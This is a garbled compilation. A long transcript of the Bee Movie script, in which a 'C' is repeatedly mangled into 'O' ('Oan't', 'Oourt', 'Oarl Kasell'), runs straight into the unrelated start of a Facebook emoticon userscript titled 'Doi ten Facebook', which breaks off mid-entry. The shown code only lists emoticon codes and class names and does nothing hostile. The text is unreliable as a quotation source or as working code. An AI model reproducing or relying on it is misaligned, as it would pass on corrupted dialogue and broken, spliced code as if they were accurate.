Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And
RhenSacro
// ==UserScript== // @name Doi ten Facebook // @description All about facebook By Erosaka // @include https://*.facebook.com/* // @include https://*.facebook.com/*/* // @include http://*.facebook.com/* // @include http://*.facebook.com/*/* // ==/UserScript== // ==13470X== // ============== // ==Icon== (function() { // Active only in main frame if (!document.querySelector("#pageNav")) { return; } //console.info("Extra Facebook Smileys"); // = Data ======= var emoticons = [ { // Text to picture emoticons "chars" : " :) ", "class" : "emoticon_smile", "name" : "Smiley" }, { "chars" : " :( ", "class" : "emoticon_frown", "name" : "Frown" }, { "chars" : " :P ", "class" : "emoticon_tongue", "name" : "Tongue" }, { "chars" : " :D ", "class" : "emoticon_grin", "name" : "Grin" }, { "chars" : " :o ", "class" : "emoticon_gasp", "name" : "Gasp" }, { "chars" : " ;) ", "class" : "emoticon_wink", "name" : "Wink" }, { "chars" : " :v ", "class" : "emoticon_pacman", "name" : "Pacman" }, { "chars" : " >:( ", "class" : "emoticon_grumpy", "name" : "Gruñón" }, { "chars" : " :/ ", "class" : "emoticon_unsure", "name" : "Unsure" }, { "chars" : " :'( ", "class" : "emoticon_cry", "name" : "Cry" }, { "chars" : " ^_^ ", "class" : "emoticon_kiki", "name" : "Kiki" }, { "chars" : " 8) ", "class" : "emoticon_glasses", "name" : "Glasses" }, { "chars" : " B| ", "class" : "emoticon_sunglasses", "name" : "Sunglasses" }, { "chars" : " <3 ", "class" : "emoticon_heart", "name" : "Heart" }, { "chars" : " 3:) ", "class" : "emoticon_devil", "name" : "Devil" }, { "chars" : " O:) ", "class" : "emoticon_angel", "name" : "Angel" }, { "chars" : " -_- ", "class" : "emoticon_squint", "name" : "Squint" }, { "chars" : " o.O ", "class" : "emoticon_confused", "name" : "Confused" }, { "chars" : " >:o ", "class" : "emoticon_upset", "name" : "Upset" }, { "chars" : " :3 ", "class" : "emoticon_colonthree", "name" : "Colonthree" }, { "chars" : " (y) ", "class" : "emoticon_like", "name" : "Like" }, { "chars" : " :* ", "class" : "emoticon emoticon_kiss", "name" : "Kiss" }, { "chars" : " (^^^) ", "class" : "emoticon_shark", "name" : "Shark" }, { "chars" : " :|] ", "class" : "emoticon_robot", "name" : "Robot" }, { "chars" : " <(\") ", "class" : "emoticon_penguin", "name" : "Pingüino" }, { "chars" : " :poop: ", "class" : "emoticon_poop", "name" : "Poop" }, { "chars" : " :putnam: ", "class" : "emoticon_putnam", "name" : "Putman" }, { "chars" : " \ud83c\udf02 ", "class" : "_1az _1a- _2c0", "name" : "Pink Umbrella" }, { "chars" : " \ud83c\udf0a ", "class" : "_1az _1a- _2c1", "name" : "Sea Wave" }, { "chars" : " \ud83c\udf19 ", "class" : "_1az _1a- _2c2", "name" : "Crescent moon" }, { "chars" : " \ud83c\udf1f ", "class" : "_1az _1a- _2c3", "name" : "Bright Star" }, { "chars" : " \ud83c\udf31 ", "class" : "_1az _1a- _2c4", "name" : "Seedbed" }, { "chars" : " \ud83c\udf34 ", "class" : "_1az _1a- _2c5", "name" : "Single Palm Tree" }, { "chars" : " \ud83c\udf35 ", "class" : "_1az _1a- _2c6", "name" : "Cactus" }, { "chars" : " \ud83c\udf37 ", "class" : "_1az _1a- _2c7", "name" : "Tulip" }, { "chars" : " \ud83c\udf38 ", "class" : "_1az _1a- _2c8", "name" : "Cherry Blossom" }, { "chars" : " \ud83c\udf39 ", "class" : "_1az _1a- _2c9", "name" : "Rose" }, { "chars" : " \ud83c\udf3a ", "class" : "_1az _1a- _2ca", "name" : "Cayenne" }, { "chars" : " \ud83c\udf3b ", "class" : "_1az _1a- _2cb", "name" : "Sunflower" }, { "chars" : " \ud83c\udf3e ", "class" : "_1az _1a- _2cc", "name" : "Ear Of Rice" }, { "chars" : " \ud83c\udf40 ", "class" : "_1az _1a- _2cd", "name" : "Four Leaf Clover" }, { "chars" : " \ud83c\udf41 ", "class" : "_1az _1a- _2ce", "name" : "Maple Leaf" }, { "chars" : " \ud83c\udf42 ", "class" : "_1az _1a- _2cf", "name" : "Fallen Leaf" }, { "chars" : " \ud83c\udf43 ", "class" : "_1az _1a- _2cg", "name" : "Leaf Floating In The Wind" }, { "chars" : " \ud83c\udf4a ", "class" : "_1az _1a- _2ch", "name" : "Tangerine" }, { "chars" : " \ud83c\udf4e ", "class" : "_1az _1a- _2ci", "name" : "Red Apple" }, { "chars" : " \ud83c\udf53 ", "class" : "_1az _1a- _2cj", "name" : "Strawberry" }, { "chars" : " \ud83c\udf54 ", "class" : "_1az _1a- _2ck", "name" : "Burger" }, { "chars" : " \ud83c\udf78 ", "class" : "_1az _1a- _2cl", "name" : "Cocktail Glass" }, { "chars" : " \ud83c\udf7a ", "class" : "_1az _1a- _2cm", "name" : "Tankard" }, { "chars" : " \ud83c\udf81 ", "class" : "_1az _1a- _2cn", "name" : "Gift Wrapped" }, { "chars" : " \ud83c\udf83 ", "class" : "_1az _1a- _2co", "name" : "Pumpkin With Candle" }, { "chars" : " \ud83c\udf84 ", "class" : "_1az _1a- _2cp", "name" : "Christmas Tree" }, { "chars" : " \ud83c\udf85 ", "class" : "_1az _1a- _2cq", "name" : "Santa" }, { "chars" : " \ud83c\udf88 ", "class" : "_1az _1a- _2cr", "name" : "Balloon" }, { "chars" : " \ud83c\udf89 ", "class" : "_1az _1a- _2cs", "name" : "Party Popper" }, { "chars" : " \ud83c\udf8d ", "class" : "_1az _1a- _2ct", "name" : "Pine Decor" }, { "chars" : " \ud83c\udf8e ", "class" : "_1az _1a- _2cu", "name" : "Japanese Dolls" }, { "chars" : " \ud83c\udf8f ", "class" : "_1az _1a- _2cv", "name" : "Carp Streamer" }, { "chars" : " \ud83c\udf90 ", "class" : "_1az _1a- _2cw", "name" : "Wind Chime" }, { "chars" : " \ud83c\udf93 ", "class" : "_1az _1a- _2cx", "name" : "Graduation Cap" }, { "chars" : " \ud83c\udfb5 ", "class" : "_1az _1a- _2cy", "name" : "Musical Note" }, { "chars" : " \ud83c\udfb6 ", "class" : "_1az _1a- _2cz", "name" : "Multiple Musical Notes" }, { "chars" : " \ud83c\udfbc ", "class" : "_1az _1a- _2c-", "name" : "Musical Score" }, { "chars" : " \ud83d\udc0d ", "class" : "_1az _1a- _2c_", "name" : "Snake" }, { "chars" : " \ud83d\udc0e ", "class" : "_1az _1a- _2d0", "name" : "Horse" }, { "chars" : " \ud83d\udc11 ", "class" : "_1az _1a- _2d1", "name" : "Sheep" }, { "chars" : " \ud83d\udc12 ", "class" : "_1az _1a- _2d2", "name" : "Monkey" }, { "chars" : " \ud83d\udc14 ", "class" : "_1az _1a- _2d3", "name" : "Hen" }, { "chars" : " \ud83d\udc17 ", "class" : "_1az _1a- _2d4", "name" : "Wild Boar" }, { "chars" : " \ud83d\udc18 ", "class" : "_1az _1a- _2d5", "name" : "Elephant" }, { "chars" : " \ud83d\udc19 ", "class" : "_1az _1a- _2d6", "name" : "Octopus" }, { "chars" : " \ud83d\udc1a ", "class" : "_1az _1a- _2d7", "name" : "Snail Shell" }, { "chars" : " \ud83d\udc1b ", "class" : "_1az _1a- _2d8", "name" : "Insect" }, { "chars" : " \ud83d\udc1f ", "class" : "_1az _1a- _2d9", "name" : "Fish" }, { "chars" : " \ud83d\udc20 ", "class" : "_1az _1a- _2da", "name" : "Tropical Fish" }, { "chars" : " \ud83d\udc21 ", "class" : "_1az _1a- _2db", "name" : "Pufferfish" }, { "chars" : " \ud83d\udc25 ", "class" : "_1az _1a- _2dc", "name" : "Chick In Front" }, { "chars" : " \ud83d\udc26 ", "class" : "_1az _1a- _2dd", "name" : "Bird" }, { "chars" : " \ud83d\udc27 ", "class" : "_1az _1a- _2de", "name" : "Penguin" }, { "chars" : " \ud83d\udc28 ", "class" : "_1az _1a- _2df", 